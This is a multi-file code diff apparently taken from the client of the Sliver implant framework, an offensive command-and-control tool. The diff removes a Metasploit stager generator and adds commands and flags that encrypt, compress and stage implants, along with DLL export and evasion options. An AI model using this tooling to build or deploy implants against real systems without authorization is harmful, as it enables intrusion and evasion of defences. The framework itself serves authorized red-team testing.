// On non-Windows systems, filepath.Base will not see backslashes, so we will replace them
|
||||
// on systems that do not use backslashes as path separators
|
||||
remotePath := download.Path
|
||||
if strings.Contains(download.Path, "\\") && string(os.PathSeparator) != "\\" {
|
||||
remotePath = strings.ReplaceAll(download.Path, "\\", "/")
|
||||
}
|
||||
|
||||
var localPath string
|
||||
if len(args) == 1 {
|
||||
localPath = "."
|
||||
|
||||
@@ -63,7 +63,7 @@ func HeadCmd(cmd *cobra.Command, con *console.SliverClient, args []string, head
|
||||
} else {
|
||||
operationName = "bytes"
|
||||
}
|
||||
} else if cmd.Flags().Changed("lines") {
|
||||
} else {
|
||||
fetchBytes = false
|
||||
fetchSize, _ = cmd.Flags().GetInt64("lines")
|
||||
if fetchSize < 0 {
|
||||
@@ -76,9 +76,6 @@ func HeadCmd(cmd *cobra.Command, con *console.SliverClient, args []string, head
|
||||
} else {
|
||||
operationName = "lines"
|
||||
}
|
||||
} else {
|
||||
con.PrintErrorf("A number of bytes or a number of lines must be specified.")
|
||||
return
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
@@ -118,10 +115,10 @@ func HeadCmd(cmd *cobra.Command, con *console.SliverClient, args []string, head
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintCat(download, cmd, con)
|
||||
PrintCat(filePath, download, cmd, con)
|
||||
})
|
||||
con.PrintAsyncResponse(download.Response)
|
||||
} else {
|
||||
PrintCat(download, cmd, con)
|
||||
PrintCat(filePath, download, cmd, con)
|
||||
}
|
||||
}
|
||||
@@ -4,7 +4,6 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/constants"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
@@ -49,30 +48,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
|
||||
generateCmd.AddCommand(generateBeaconCmd)
|
||||
|
||||
generateStagerCmd := &cobra.Command{
|
||||
Use: consts.MsfStagerStr,
|
||||
Short: "Generate a stager using Metasploit (requires local Metasploit installation)",
|
||||
Long: help.GetHelpFor([]string{consts.MsfStagerStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
GenerateStagerCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("stager", false, generateStagerCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("os", "o", "windows", "operating system")
|
||||
f.StringP("arch", "a", "amd64", "cpu architecture")
|
||||
f.StringP("lhost", "L", "", "Listening host")
|
||||
f.Uint32P("lport", "l", 8443, "Listening port")
|
||||
f.StringP("protocol", "r", "tcp", "Staging protocol (tcp/http/https)")
|
||||
f.StringP("format", "f", "raw", "Output format (msfvenom formats, see help generate msf-stager for the list)")
|
||||
f.StringP("badchars", "b", "", "bytes to exclude from stage shellcode")
|
||||
f.StringP("save", "s", "", "directory to save the generated stager to")
|
||||
f.StringP("advanced", "d", "", "Advanced options for the stager using URI query syntax (option1=value1&option2=value2...)")
|
||||
})
|
||||
flags.BindFlagCompletions(generateStagerCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
|
||||
})
|
||||
generateCmd.AddCommand(generateStagerCmd)
|
||||
|
||||
generateInfoCmd := &cobra.Command{
|
||||
Use: consts.CompilerInfoStr,
|
||||
Short: "Get information about the server's compiler",
|
||||
@@ -168,6 +143,8 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
flags.Bind("profiles", false, profilesGenerateCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("save", "s", "", "directory/file to the binary to")
|
||||
f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder")
|
||||
f.StringP("name", "n", "", "Implant name")
|
||||
|
||||
})
|
||||
flags.BindFlagCompletions(profilesGenerateCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
|
||||
@@ -185,6 +162,28 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
}
|
||||
profilesCmd.AddCommand(profilesNewCmd)
|
||||
|
||||
profilesStageCmd := &cobra.Command{
|
||||
Use: consts.StageStr,
|
||||
Short: "Generate implant from a profile and encode or encrypt it",
|
||||
Args: cobra.ExactArgs(1),
|
||||
Long: help.GetHelpFor([]string{consts.ProfilesStr, consts.StageStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ProfilesStageCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("profiles", false, profilesStageCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("save", "s", "", "directory/file to the binary to")
|
||||
f.StringP("name", "n", "", "Implant name")
|
||||
f.StringP("aes-encrypt-key", "k", "", "AES Encryption Key")
|
||||
f.StringP("aes-encrypt-iv", "i", "", "AES Encryption IV")
|
||||
f.StringP("rc4-encrypt-key", "r", "", "RC4 encryption key")
|
||||
f.BoolP("prepend-size", "p", false, "Prepend stage size")
|
||||
f.StringP("compress", "c", "", "Compress stage (zlib, gzip, deflate9 or deflate)")
|
||||
})
|
||||
|
||||
carapace.Gen(profilesStageCmd).PositionalCompletion(ProfileNameCompleter(con))
|
||||
profilesCmd.AddCommand(profilesStageCmd)
|
||||
|
||||
// Session flags and completions.
|
||||
coreImplantFlags("session", profilesNewCmd)
|
||||
compileImplantFlags("session", profilesNewCmd)
|
||||
@@ -310,7 +309,7 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
|
||||
f.BoolP("evasion", "e", false, "enable evasion features (e.g. overwrite user space hooks)")
|
||||
f.BoolP("skip-symbols", "l", false, "skip symbol obfuscation")
|
||||
f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder")
|
||||
|
||||
f.StringP("exports", "v", "StartW,VoidFunc,DllInstall,DllRegisterServer,DllUnregisterServer", "comma separated list of exports to include in the binary")
|
||||
f.StringP("canary", "c", "", "canary domain(s)")
|
||||
|
||||
// C2 channels
|
||||
@@ -332,7 +331,7 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
|
||||
f.Int64P("reconnect", "j", DefaultReconnect, "attempt to reconnect every n second(s)")
|
||||
f.Int64P("poll-timeout", "P", DefaultPollTimeout, "long poll request timeout")
|
||||
f.Uint32P("max-errors", "k", DefaultMaxErrors, "max number of connection errors")
|
||||
f.StringP("c2profile", "C", constants.DefaultC2Profile, "HTTP C2 profile to use")
|
||||
f.StringP("c2profile", "C", consts.DefaultC2Profile, "HTTP C2 profile to use")
|
||||
|
||||
// Limits
|
||||
f.StringP("limit-datetime", "w", "", "limit execution to before datetime")
|
||||
@@ -356,6 +355,7 @@ func coreImplantFlagCompletions(cmd *cobra.Command, con *console.SliverClient) {
|
||||
(*comp)["format"] = FormatCompleter()
|
||||
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
|
||||
(*comp)["traffic-encoders"] = TrafficEncodersCompleter(con).UniqueList(",")
|
||||
(*comp)["c2profile"] = HTTPC2Completer(con)
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
@@ -22,7 +22,7 @@ func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverClient, args []str
|
||||
return
|
||||
}
|
||||
config.IsBeacon = true
|
||||
err := parseBeaconFlags(cmd, con, config)
|
||||
err := parseBeaconFlags(cmd, config)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -32,13 +32,13 @@ func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverClient, args []str
|
||||
save, _ = os.Getwd()
|
||||
}
|
||||
if external, _ := cmd.Flags().GetBool("external-builder"); !external {
|
||||
compile(config, save, con)
|
||||
compile(name, config, save, con)
|
||||
} else {
|
||||
externalBuild(name, config, save, con)
|
||||
}
|
||||
}
|
||||
|
||||
func parseBeaconFlags(cmd *cobra.Command, con *console.SliverClient, config *clientpb.ImplantConfig) error {
|
||||
func parseBeaconFlags(cmd *cobra.Command, config *clientpb.ImplantConfig) error {
|
||||
days, _ := cmd.Flags().GetInt64("days")
|
||||
hours, _ := cmd.Flags().GetInt64("hours")
|
||||
minutes, _ := cmd.Flags().GetInt64("minutes")
|
||||
|
||||
@@ -1,131 +0,0 @@
|
||||
package generate
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"net"
|
||||
"os"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// GenerateStagerCmd - Generate a stager using Metasploit.
|
||||
func GenerateStagerCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
var stageProto clientpb.StageProtocol
|
||||
lhost, _ := cmd.Flags().GetString("lhost")
|
||||
if lhost == "" {
|
||||
con.PrintErrorf("Please specify a listening host")
|
||||
return
|
||||
}
|
||||
match, err := regexp.MatchString(`^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$`, lhost)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if !match {
|
||||
addr, err := net.LookupHost(lhost)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error resolving %s: %v\n", lhost, err)
|
||||
return
|
||||
}
|
||||
if len(addr) > 1 {
|
||||
prompt := &survey.Select{
|
||||
Message: "Select an address",
|
||||
Options: addr,
|
||||
}
|
||||
err := survey.AskOne(prompt, &lhost)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %v\n", err)
|
||||
return
|
||||
}
|
||||
} else {
|
||||
lhost = addr[0]
|
||||
}
|
||||
}
|
||||
lport, _ := cmd.Flags().GetUint32("lport")
|
||||
stageOS, _ := cmd.Flags().GetString("os")
|
||||
arch, _ := cmd.Flags().GetString("arch")
|
||||
proto, _ := cmd.Flags().GetString("protocol")
|
||||
format, _ := cmd.Flags().GetString("format")
|
||||
badChars, _ := cmd.Flags().GetString("badchars")
|
||||
save, _ := cmd.Flags().GetString("save")
|
||||
advOptions, _ := cmd.Flags().GetString("advanced")
|
||||
|
||||
bChars := make([]string, 0)
|
||||
if len(badChars) > 0 {
|
||||
for _, b := range strings.Split(badChars, " ") {
|
||||
bChars = append(bChars, fmt.Sprintf("\\x%s", b))
|
||||
}
|
||||
}
|
||||
|
||||
switch proto {
|
||||
case "tcp":
|
||||
stageProto = clientpb.StageProtocol_TCP
|
||||
case "http":
|
||||
stageProto = clientpb.StageProtocol_HTTP
|
||||
case "https":
|
||||
stageProto = clientpb.StageProtocol_HTTPS
|
||||
default:
|
||||
con.PrintErrorf("%s staging protocol not supported\n", proto)
|
||||
return
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil("Generating stager, please wait ...", ctrl)
|
||||
stageFile, err := con.Rpc.MsfStage(context.Background(), &clientpb.MsfStagerReq{
|
||||
Arch: arch,
|
||||
BadChars: bChars,
|
||||
Format: format,
|
||||
Host: lhost,
|
||||
Port: lport,
|
||||
Protocol: stageProto,
|
||||
OS: stageOS,
|
||||
AdvOptions: advOptions,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %v - Please make sure Metasploit framework >= v6.2 is installed and msfvenom/msfconsole are in your PATH", err)
|
||||
return
|
||||
}
|
||||
|
||||
if save != "" || format == "raw" {
|
||||
saveTo, err := saveLocation(save, stageFile.GetFile().GetName(), con)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
err = os.WriteFile(saveTo, stageFile.GetFile().GetData(), 0o700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write to: %s\n", saveTo)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Sliver implant stager saved to: %s\n", saveTo)
|
||||
} else {
|
||||
con.PrintInfof("Here's your stager:\n")
|
||||
con.Println(string(stageFile.GetFile().GetData()))
|
||||
}
|
||||
}
|
||||
@@ -98,7 +98,7 @@ func GenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
save, _ = os.Getwd()
|
||||
}
|
||||
if external, _ := cmd.Flags().GetBool("external-builder"); !external {
|
||||
compile(config, save, con)
|
||||
compile(name, config, save, con)
|
||||
} else {
|
||||
_, err := externalBuild(name, config, save, con)
|
||||
if err != nil {
|
||||
@@ -290,6 +290,8 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
|
||||
isShellcode := false
|
||||
sgnEnabled := false
|
||||
|
||||
var exports []string
|
||||
|
||||
format, _ := cmd.Flags().GetString("format")
|
||||
runAtLoad := false
|
||||
var configFormat clientpb.OutputFormat
|
||||
@@ -300,6 +302,13 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
|
||||
configFormat = clientpb.OutputFormat_SHARED_LIB
|
||||
isSharedLib = true
|
||||
runAtLoad, _ = cmd.Flags().GetBool("run-at-load")
|
||||
exportsArg, _ := cmd.Flags().GetString("exports")
|
||||
if exportsArg == "" {
|
||||
con.PrintErrorf("Shared libraries need at least one export\n")
|
||||
return "", nil
|
||||
} else {
|
||||
exports = strings.Split(exportsArg, ",")
|
||||
}
|
||||
case "shellcode":
|
||||
configFormat = clientpb.OutputFormat_SHELLCODE
|
||||
isShellcode = true
|
||||
@@ -364,6 +373,8 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
|
||||
c2Profile = consts.DefaultC2Profile
|
||||
}
|
||||
|
||||
// exports if its a shared library
|
||||
|
||||
config := &clientpb.ImplantConfig{
|
||||
GOOS: targetOS,
|
||||
GOARCH: targetArch,
|
||||
@@ -395,6 +406,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
|
||||
IsSharedLib: isSharedLib,
|
||||
IsService: isService,
|
||||
IsShellcode: isShellcode,
|
||||
Exports: exports,
|
||||
|
||||
RunAtLoad: runAtLoad,
|
||||
NetGoEnabled: netGo,
|
||||
@@ -905,7 +917,7 @@ func externalBuild(name string, config *clientpb.ImplantConfig, save string, con
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func compile(config *clientpb.ImplantConfig, save string, con *console.SliverClient) (*commonpb.File, error) {
|
||||
func compile(name string, config *clientpb.ImplantConfig, save string, con *console.SliverClient) (*commonpb.File, error) {
|
||||
if config.IsBeacon {
|
||||
interval := time.Duration(config.BeaconInterval)
|
||||
con.PrintInfof("Generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
|
||||
@@ -923,6 +935,7 @@ func compile(config *clientpb.ImplantConfig, save string, con *console.SliverCli
|
||||
con.SpinUntil("Compiling, please wait ...", ctrl)
|
||||
|
||||
generated, err := con.Rpc.Generate(context.Background(), &clientpb.GenerateReq{
|
||||
Name: name,
|
||||
Config: config,
|
||||
})
|
||||
ctrl <- true
|
||||
@@ -1009,24 +1022,12 @@ func checkBuildTargetCompatibility(format clientpb.OutputFormat, targetOS string
|
||||
return true
|
||||
}
|
||||
|
||||
if runtime.GOOS != "windows" && targetOS == "windows" {
|
||||
if !hasCC(targetOS, targetArch, compilers.CrossCompilers) {
|
||||
return warnMissingCrossCompiler(format, targetOS, targetArch, con)
|
||||
}
|
||||
}
|
||||
|
||||
if runtime.GOOS != "darwin" && targetOS == "darwin" {
|
||||
if !hasCC(targetOS, targetArch, compilers.CrossCompilers) {
|
||||
return warnMissingCrossCompiler(format, targetOS, targetArch, con)
|
||||
}
|
||||
}
|
||||
|
||||
if runtime.GOOS != "linux" && targetOS == "linux" {
|
||||
if !hasCC(targetOS, targetArch, compilers.CrossCompilers) {
|
||||
return warnMissingCrossCompiler(format, targetOS, targetArch, con)
|
||||
}
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
@@ -1042,12 +1043,8 @@ func hasCC(targetOS string, targetArch string, crossCompilers []*clientpb.CrossC
|
||||
func warnMissingCrossCompiler(format clientpb.OutputFormat, targetOS string, targetArch string, con *console.SliverClient) bool {
|
||||
con.PrintWarnf("Missing cross-compiler for %s on %s/%s\n", nameOfOutputFormat(format), targetOS, targetArch)
|
||||
switch targetOS {
|
||||
case "windows":
|
||||
con.PrintWarnf("The server cannot find an installation of mingw")
|
||||
case "darwin":
|
||||
con.PrintWarnf("The server cannot find an installation of osxcross")
|
||||
case "linux":
|
||||
con.PrintWarnf("The server cannot find an installation of musl-cross")
|
||||
}
|
||||
con.PrintWarnf("For more information please read %s\n", crossCompilerInfoURL)
|
||||
|
||||
@@ -1083,7 +1080,7 @@ func findExternalBuilders(config *clientpb.ImplantConfig, con *console.SliverCli
|
||||
return validBuilders, nil
|
||||
}
|
||||
|
||||
func selectExternalBuilder(builders []*clientpb.Builder, con *console.SliverClient) (*clientpb.Builder, error) {
|
||||
func selectExternalBuilder(builders []*clientpb.Builder, _ *console.SliverClient) (*clientpb.Builder, error) {
|
||||
choices := []string{}
|
||||
for _, builder := range builders {
|
||||
choices = append(choices, builder.Name)
|
||||
|
||||
@@ -1,5 +1,23 @@
|
||||
package generate
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
@@ -20,7 +38,7 @@ func ImplantsStageCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
|
||||
}
|
||||
|
||||
options := []string{}
|
||||
for name, _ := range builds.Configs {
|
||||
for name := range builds.Configs {
|
||||
options = append(options, name)
|
||||
}
|
||||
|
||||
|
||||
@@ -20,8 +20,6 @@ package generate
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/spf13/cobra"
|
||||
@@ -38,6 +36,8 @@ func ProfilesGenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []s
|
||||
con.PrintErrorf("No profile name specified\n")
|
||||
return
|
||||
}
|
||||
|
||||
implantName, _ := cmd.Flags().GetString("name")
|
||||
save, _ := cmd.Flags().GetString("save")
|
||||
if save == "" {
|
||||
save, _ = os.Getwd()
|
||||
@@ -48,7 +48,7 @@ func ProfilesGenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []s
|
||||
if SGNDisabled, _ := cmd.Flags().GetBool("disable-sgn"); SGNDisabled {
|
||||
profile.Config.SGNEnabled = !SGNDisabled
|
||||
}
|
||||
_, err := compile(profile.Config, save, con)
|
||||
_, err := compile(implantName, profile.Config, save, con)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
@@ -56,7 +56,3 @@ func ProfilesGenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []s
|
||||
con.PrintErrorf("No profile with name '%s'", name)
|
||||
}
|
||||
}
|
||||
|
||||
func buildImplantName(name string) string {
|
||||
return strings.TrimSuffix(name, filepath.Ext(name))
|
||||
}
|
||||
@@ -64,7 +64,7 @@ func ProfilesNewBeaconCmd(cmd *cobra.Command, con *console.SliverClient, args []
|
||||
return
|
||||
}
|
||||
config.IsBeacon = true
|
||||
err := parseBeaconFlags(cmd, con, config)
|
||||
err := parseBeaconFlags(cmd, config)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
|
||||
@@ -45,7 +45,6 @@ var (
|
||||
consts.InfoStr: infoHelp,
|
||||
consts.UseStr: useHelp,
|
||||
consts.GenerateStr: generateHelp,
|
||||
consts.MsfStagerStr: generateStagerHelp,
|
||||
consts.StageListenerStr: stageListenerHelp,
|
||||
|
||||
consts.MsfStr: msfHelp,
|
||||
@@ -108,6 +107,7 @@ var (
|
||||
// Profiles
|
||||
consts.ProfilesStr + sep + consts.NewStr: newProfileHelp,
|
||||
consts.ProfilesStr + sep + consts.GenerateStr: generateProfileHelp,
|
||||
consts.ProfilesStr + sep + consts.StageStr: generateProfileStageHelp,
|
||||
|
||||
// Reactions
|
||||
consts.ReactionStr: reactionHelp,
|
||||
@@ -121,6 +121,7 @@ var (
|
||||
|
||||
// HTTP C2
|
||||
consts.C2ProfileStr: c2ProfilesHelp,
|
||||
consts.C2ProfileStr + sep + consts.C2GenerateStr: c2GenerateHelp,
|
||||
}
|
||||
|
||||
jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
|
||||
@@ -194,33 +195,6 @@ Execution limits can be used to restrict the execution of a Sliver implant to ma
|
||||
Due to the large number of options and C2s this can be a lot of typing. If you'd like to have a reusable a Sliver config
|
||||
see 'help profiles new'. All "generate" flags can be saved into a profile, you can view existing profiles with the "profiles"
|
||||
command.
|
||||
`
|
||||
generateStagerHelp = `[[.Bold]]Command:[[.Normal]] generate msf-stager <options>
|
||||
[[.Bold]]About:[[.Normal]] Generate a new sliver stager shellcode and saves the output to the cwd or a path specified with --save, or to stdout using --format.
|
||||
|
||||
[[.Bold]][[.Underline]]++ Bad Characters ++[[.Normal]]
|
||||
Bad characters must be specified like this for single bytes:
|
||||
|
||||
generate msf-stager -b 00
|
||||
|
||||
And like this for multiple bytes:
|
||||
|
||||
generate msf-stager -b '00 0a cc'
|
||||
|
||||
[[.Bold]][[.Underline]]++ Output Formats ++[[.Normal]]
|
||||
You can use the --format flag to print out the shellcode to stdout, in one of the following transform formats:
|
||||
[[.Bold]]bash c csharp dw dword hex java js_be js_le num perl pl powershell ps1 py python raw rb ruby sh vbapplication vbscript[[.Normal]]
|
||||
|
||||
[[.Bold]][[.Underline]]++ Advanced Options ++[[.Normal]]
|
||||
If there are any advanced options you need to pass to msfvenom, you can use the --advanced flag to provide them. They must be provided in URI query format: option1=value1&option2=value2 and so on.
|
||||
The full list of advanced options is available using "show advanced" in msf for the payload corresponding to the chosen protocol:
|
||||
TCP: meterpreter/reverse_tcp
|
||||
HTTP: custom/reverse_winhttp
|
||||
HTTPS: custom/reverse_winhttps
|
||||
|
||||
Example:
|
||||
To tell the stager to use the proxy proxy.corp.com:8080 with the user name "corp_drone" and password "MyPassword", you would pass the following string to --advanced:
|
||||
HttpProxyHost=proxy.corp.com&HttpProxyPort=8080&HttpProxyUser=corp_drone&HttpProxyPass=MyPassword
|
||||
`
|
||||
stageListenerHelp = `[[.Bold]]Command:[[.Normal]] stage-listener <options>
|
||||
[[.Bold]]About:[[.Normal]] Starts a stager listener bound to a Sliver profile.
|
||||
@@ -249,6 +223,9 @@ settings. Generated implants will still have per-binary certificates/obfuscation
|
||||
generateProfileHelp = `[[.Bold]]Command:[[.Normal]] generate [name] <options>
|
||||
[[.Bold]]About:[[.Normal]] Generate an implant from a saved profile (see 'profiles new --help').`
|
||||
|
||||
generateProfileStageHelp = `[[.Bold]]Command:[[.Normal]] stage [name] <options>
|
||||
[[.Bold]]About:[[.Normal]] Generate and encrypt or encode an implant from a saved profile (see 'profiles stage --help').`
|
||||
|
||||
msfHelp = `[[.Bold]]Command:[[.Normal]] msf [--lhost] <options>
|
||||
[[.Bold]]About:[[.Normal]] Execute a metasploit payload in the current process.`
|
||||
|
||||
@@ -1292,6 +1269,10 @@ Sliver uses the same hash identifiers as Hashcat (use the #):
|
||||
C2ProfileImportStr = `[[.Bold]]Command:[[.Normal]] Import
|
||||
[[.Bold]]About:[[.Normal]] Load custom HTTP C2 profiles.
|
||||
`
|
||||
c2GenerateHelp = `[[.Bold]]Command:[[.Normal]] C2 Profile generate
|
||||
[[.Bold]]About:[[.Normal]] Generate C2 profile using a file containing urls.
|
||||
Optionaly import profile or use another profile as a base template for the new profile.
|
||||
`
|
||||
|
||||
grepHelp = `[[.Bold]]Command:[[.Normal]] grep [flags / options] <search pattern> <path>
|
||||
[[.Bold]]About:[[.Normal]] Search a file or path for a search pattern
|
||||
|
||||
@@ -97,5 +97,18 @@ func SliverCommands(con *console.SliverClient) []*cobra.Command {
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
|
||||
return []*cobra.Command{pingCmd, getPIDCmd, getUIDCmd, getGIDCmd, whoamiCmd}
|
||||
infoCmd := &cobra.Command{
|
||||
Use: consts.InfoStr,
|
||||
Short: "Get session info",
|
||||
Long: help.GetHelpFor([]string{consts.InfoStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
InfoCmd(cmd, con, args)
|
||||
},
|
||||
GroupID: consts.InfoHelpGroup,
|
||||
}
|
||||
flags.Bind("use", false, infoCmd, func(f *pflag.FlagSet) {
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
|
||||
return []*cobra.Command{pingCmd, getPIDCmd, getUIDCmd, getGIDCmd, whoamiCmd, infoCmd}
|
||||
}
|
||||
@@ -48,7 +48,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
flags.Bind("mTLS listener", false, mtlsCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("lhost", "L", "", "interface to bind server to")
|
||||
f.Uint32P("lport", "l", generate.DefaultMTLSLPort, "tcp listen port")
|
||||
f.BoolP("persistent", "p", false, "make persistent across restarts")
|
||||
})
|
||||
|
||||
// Wireguard
|
||||
@@ -66,7 +65,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.Uint32P("lport", "l", generate.DefaultWGLPort, "udp listen port")
|
||||
f.Uint32P("nport", "n", generate.DefaultWGNPort, "virtual tun interface listen port")
|
||||
f.Uint32P("key-port", "x", generate.DefaultWGKeyExPort, "virtual tun interface key exchange port")
|
||||
f.BoolP("persistent", "p", false, "make persistent across restarts")
|
||||
})
|
||||
|
||||
// DNS
|
||||
@@ -85,7 +83,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.StringP("lhost", "L", "", "interface to bind server to")
|
||||
f.Uint32P("lport", "l", generate.DefaultDNSLPort, "udp listen port")
|
||||
f.BoolP("disable-otp", "D", false, "disable otp authentication")
|
||||
f.BoolP("persistent", "p", false, "make persistent across restarts")
|
||||
})
|
||||
|
||||
// HTTP
|
||||
@@ -106,7 +103,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.BoolP("disable-otp", "D", false, "disable otp authentication")
|
||||
f.StringP("long-poll-timeout", "T", "1s", "server-side long poll timeout")
|
||||
f.StringP("long-poll-jitter", "J", "2s", "server-side long poll jitter")
|
||||
f.BoolP("persistent", "p", false, "make persistent across restarts")
|
||||
})
|
||||
|
||||
// HTTPS
|
||||
@@ -132,8 +128,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.StringP("key", "k", "", "PEM encoded private key file")
|
||||
f.BoolP("lets-encrypt", "e", false, "attempt to provision a let's encrypt certificate")
|
||||
f.BoolP("disable-randomized-jarm", "E", false, "disable randomized jarm fingerprints")
|
||||
|
||||
f.BoolP("persistent", "p", false, "make persistent across restarts")
|
||||
})
|
||||
flags.BindFlagCompletions(httpsCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["cert"] = carapace.ActionFiles().Tag("certificate file")
|
||||
|
||||
@@ -26,6 +26,7 @@ import (
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -74,6 +75,16 @@ func KillSession(session *clientpb.Session, cmd *cobra.Command, con *console.Sli
|
||||
timeout, _ := cmd.Flags().GetInt64("timeout")
|
||||
force, _ := cmd.Flags().GetBool("force")
|
||||
|
||||
// remove any active socks proxies
|
||||
socks := core.SocksProxies.List()
|
||||
if len(socks) != 0 {
|
||||
for _, p := range socks {
|
||||
if p.SessionID == session.ID {
|
||||
core.SocksProxies.Remove(p.ID)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
|
||||
Request: &commonpb.Request{
|
||||
SessionID: session.ID,
|
||||
|
||||
@@ -25,11 +25,12 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
flags.Bind("", false, psCmd, func(f *pflag.FlagSet) {
|
||||
f.IntP("pid", "p", -1, "filter based on pid")
|
||||
